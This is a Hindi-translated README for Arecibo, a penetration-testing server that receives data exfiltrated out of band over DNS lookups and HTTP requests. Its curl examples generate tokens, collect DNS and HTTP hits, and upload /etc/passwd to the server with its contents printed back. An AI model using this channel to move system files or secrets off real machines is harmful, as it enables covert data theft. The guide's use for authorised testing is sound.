
आउट-ऑफ-बैंड एक्सफ़िल्ट्रेशन के लिए एंडपॉइंट (DNS & HTTP)
आउट-ऑफ-बैंड एक्सफिल्ट्रेशन (DNS और HTTP) के लिए एंडपॉइंट
जुआन मैनुअल फर्नांडीज (@TheXC3LL) और पाब्लो मार्टिनेज (@Xassiz)
एक नया टोकन बनाएं:
curl localhost:5000/generatedns
{"htoken": "c008b5dd22817c50441522f917c66743"}
अब आप DNS रिज़ॉल्यूशन करने के लिए इस पहचान टोकन का उपयोग कर सकते हैं (ABCD.TOKEN.x.yourdomain.com):
> test-exfiltracion.c008b5dd22817c50441522f917c66743.x.DOMINIO
Server: 127.0.0.1
Address: 127.0.0.1#53
Name: DOMINIO
Address: 127.0.0.1
आप /hitsdns/TOKEN के माध्यम से हिट और एक्सफिल्ट्रेटेड डेटा देख सकते हैं:
curl localhost:5000/hitsdns/c008b5dd22817c50441522f917c66743
{"hits": [{"htoken": "c008b5dd22817c50441522f917c66743", "data": "test-exfiltracion", "id": 9, "timestamp": 1541748637.165287}]}
यदि आप सभी डेटा को जोड़कर चाहते हैं, तो /dumpdns/token का उपयोग करें:
curl localhost/dumpdns/c008b5dd22817c50441522f917c66743
{"dump": "test-exfiltracionconcatenatedtootherinfo"}
टोकन उत्पन्न करें:
curl localhost:5000/generatehttp
{"htoken": "2aa88ba02cbc0d6b72213fc117ae03dc"}
अब आप HTTP अनुरोधों के माध्यम से जानकारी एक्सफिल्ट्रेट कर सकते हैं (http://yourodmain.com/h/TOKEN)। GET/POST पैरामीटर, हेडर और IP को Arecibo द्वारा रजिस्टर किया जाएगा।
curl localhost:50000/h/2aa88ba02cbc0d6b72213fc117ae03dc
It works!
जानकारी प्राप्त करने के लिए, /hitshttp/TOKEN का उपयोग करें:
curl localhost:5000/hitshttp/2aa88ba02cbc0d6b72213fc117ae03dc
{"hits": [{"get": {}, "timestamp": 1541592259.541545, "headers": {"X-Real-Ip": "x", "Connection": "close", "Host": "x", "Accept": "*/*", "User-Agent": "curl/7.55.1"}, "htoken": "2aa88ba02cbc0d6b72213fc117ae03dc", "post": {}, "ip_address": "x"}]}
यदि आपको एक मनमाना HTML, HEADERS या स्टेटस कोड दिखाने की आवश्यकता है, तो POST विधि का उपयोग करके इसके मान सेट करें (बॉडी base64-एन्कोडेड होनी चाहिए):
curl localhost:5000/generatehttp -H "Content-Type: application/json" --data '{"body" :"SGVsbG8gd29ybGQhIAo=", "headers":{"Server":"PWNED"}, "status" : 504}'
{
"htoken": "324e18288eed54548392c5a65514b3dc"
}
Arecibo X.Y.Z.A.ip.yourdomain.com स्कीमा वाले डोमेन को X.Y.Z.A के रूप में हल करता है:
> 10.0.0.1.ip.yourdomain.com
Server: 127.0.0.1
Address: 127.0.0.1#53
Name: yourdomain.com
Address: 10.0.0.1
/upload एंडपॉइंट का उपयोग करके एक फ़ाइल अपलोड करें:
curl localhost:5000/upload -F 'x-file=@/etc/passwd'
{"htoken": "36981274bdb9cc833472681caeb82337"}
इसे डाउनलोड करने के लिए जनरेट किए गए टोकन का उपयोग करें:
curl localhost:5000/download/36981274bdb9cc833472681caeb82337
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
/ip के माध्यम से क्लाइंट IP दिखाता है:
curl localhost:5000/ip
{"ip": "127.0.0.1"}
आपको अपने डिस्ट्रो रिपॉजिटरी से pdns और pdns-backend-pipe, और python के लिए flask और flask_restful मॉड्यूल स्थापित करने की आवश्यकता है।
chmod +x arecibo-dns-backend.pysetuid=1001
setgid=1001
launch=pipe
pipe-command=/your/path/arecibo-dns-backend.py
(API स्क्रिप्ट चलाने के लिए उपयोग किए गए मानों के लिए setuid/setgid बदलें, वे समान होने चाहिए)
आपके सर्वर को आपके डोमेन के लिए आधिकारिक DNS के रूप में कॉन्फ़िगर किया जाना चाहिए
महत्वपूर्ण: आपको प्रमाणीकरण और सुरक्षा प्रदान करने के लिए Arecibo के सामने एक nginx या अन्य रिवर्स प्रॉक्सी सेट करना होगा।